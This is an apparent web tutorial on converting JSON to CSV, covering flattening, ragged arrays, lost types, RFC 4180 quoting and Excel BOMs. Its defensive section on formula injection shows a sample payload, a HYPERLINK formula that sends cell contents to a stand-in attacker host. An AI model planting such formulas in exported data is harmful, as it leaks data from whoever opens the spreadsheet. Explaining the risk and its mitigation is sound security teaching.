How to Convert JSON to CSV for Excel and Google Sheets

Converting JSON to CSV is fundamentally a lossy operation, and understanding exactly what you lose is the difference between a clean export and a corrupted spreadsheet you discover a week later. JSON is a tree: objects nest inside objects, arrays hold variable-length lists, and every value carries a real type — number, string, boolean, or null. CSV is a grid: rows and columns of plain text, nothing else. You are pouring a tree into a table, and the tree does not fit. This guide is about what happens at that boundary and how to control it instead of being surprised by it.

The happy path is real but narrow: a flat array of objects with identical keys drops straight into rows and columns. Everything hard about JSON-to-CSV comes from the three ways real data departs from that shape — nesting, ragged arrays, and typed values — plus two things spreadsheets do to your output after you hand it over.

The core problem: nested structure has no native CSV form

A CSV cell holds a string. It cannot hold an object or a list. So when your JSON has an object inside an object, the converter has to make a choice, and every choice discards something. Take an API record:

[
  {
    "id": 42,
    "name": "Ada",
    "address": { "city": "London", "zip": "0EC1" },
    "roles": ["admin", "auditor"]
  }
]

There is no "correct" single CSV for this. There are three common strategies, each with a cost.

1. Flatten with dot-notation keys

Nested objects become columns whose header path is joined with a dot. The address object turns into two columns:

id,name,address.city,address.zip
42,Ada,London,0EC1

This is the cleanest option for nested objects and it round-trips predictably — a good converter both writes and reads address.city. Watch for a subtle collision: if your data also contains a literal key with a dot in it, the flattened path becomes ambiguous.

2. Stringify the branch into one cell

The array ["admin","auditor"] has no column layout, so many converters serialize it back to JSON text and drop the whole string in one cell: "[""admin"",""auditor""]". The data survives, but it is now opaque text — you cannot sort, filter, or sum it in the spreadsheet, and the embedded quotes have to be escaped (more on that below).

3. Explode into multiple rows

To keep an array queryable, you can emit one row per array element, repeating the parent columns. Two roles become two rows for the same person. This is what tools like jq's array explosion or a database "unnest" do. The cost is that id 42 now appears twice, so any naive row count or sum double-counts the parent. There is no free lunch: you either flatten and lose queryability, or explode and denormalize.

Ragged arrays make columns unstable

CSV needs one fixed header row. JSON arrays do not promise every object has the same keys. The moment records differ, the converter must compute the union of all keys across every record to build the header, then leave gaps where a record lacks a field:

[
  {"name":"John","age":30},
  {"name":"Sara","city":"London"}
]

becomes:

name,age,city
John,30,
Sara,,London

This is why a JSON-to-CSV export can suddenly grow columns when one record in ten thousand carries an extra field. And it exposes the deeper loss below: those two empty cells are indistinguishable, even though the JSON meant different things.

You lose the null-vs-empty-string distinction

In JSON, {"city": null} and {"city": ""} are different values — "unknown/absent" versus "present but blank." In CSV both collapse to the same thing: an empty field between two commas. RFC 4180 has no concept of null; there is only text or the absence of text. If your downstream logic treats a missing email differently from a blank one, that distinction is gone the instant you write CSV, and no amount of re-parsing recovers it. When null-vs-empty matters, keep the data in JSON or add an explicit sentinel column.

Every value becomes text — and types stop being enforced

JSON's 42 (number), "42" (string), true (boolean), and null all render to the same bytes in CSV. The comma-separated file 42 could have been any of them. Whatever reads the CSV next — a spreadsheet, a database importer, your own parser — re-guesses the type, and that guess is where a fresh round of bugs begins. The type information that JSON stated explicitly is now something the reader has to infer.

RFC 4180 quoting: the rule that stops silent corruption

CSV is only "comma-separated" until a value contains a comma. Per RFC 4180, any field containing a comma, a double quote, or a newline must be wrapped in double quotes, and any double quote inside the field is escaped by doubling it. A product description like He said "hi", loudly must be written:

"He said ""hi"", loudly"

Get this wrong and a single embedded comma shifts every following column one cell to the right for that row — a corruption that is easy to miss in a file with thousands of rows. Newlines inside a field are the nastiest case: a naive line-by-line reader treats the embedded newline as a new record and mangles the file. Always let a spec-compliant converter handle quoting; never build CSV by joining strings with commas yourself.

The security trap: CSV / formula injection

This one bites in production and almost nobody expects it. When a spreadsheet opens a CSV, it treats any cell whose text starts with =, +, -, or @ as a formula. If you export user-supplied data — a username, a comment, a "company name" field — and a malicious user set their name to something like =HYPERLINK("http://evil.tld?"&A1) or a command that shells out, opening your export in Excel or Google Sheets can exfiltrate data or execute code on the reviewer's machine. This is CSV or formula injection, and it is a real, catalogued vulnerability class. Mitigation: prefix any cell that begins with one of those characters with a single quote or a tab, or otherwise sanitize, before writing user data to CSV.

Add a UTF-8 BOM so Excel reads Unicode correctly

If your JSON contains names like José, Müller, or any non-ASCII character, Excel will often garble them on open — unless the file starts with a UTF-8 byte-order mark (BOM). The BOM is the signal Excel uses to detect UTF-8; without it Excel guesses the legacy locale codepage and you get mojibake. A good JSON-to-CSV export for spreadsheets prepends the BOM. (Google Sheets is more forgiving on import, but the BOM does no harm there.)

A practical checklist before you ship an export

• Decide per branch: flatten nested objects to dot-notation, stringify, or explode to rows — and know which loss you are accepting
• Expect a union header if records are ragged; empty cells are ambiguous by design
• If null-vs-empty matters downstream, do not rely on CSV to carry it
• Confirm quoting is RFC 4180-compliant, especially for fields with commas, quotes, or newlines
• Sanitize leading =, +, -, @ in any user-supplied field
• Emit a UTF-8 BOM if the data has non-ASCII characters and the audience is Excel

Useful ToolzYard tools

Conclusion

JSON-to-CSV is not a format tweak; it is a projection from a tree onto a grid, and projections lose information. The nesting has to be flattened, stringified, or exploded. The types collapse to text. The null-versus-empty distinction disappears. Ragged records force a union header full of gaps. None of that means you should not do it — spreadsheets are where most of the world reads data — it means you should do it deliberately.

Pick your flattening strategy on purpose, let a compliant converter handle RFC 4180 quoting, sanitize user data against formula injection, and add a BOM for Excel. Do those four things and your export arrives intact instead of quietly shifted, garbled, or worse.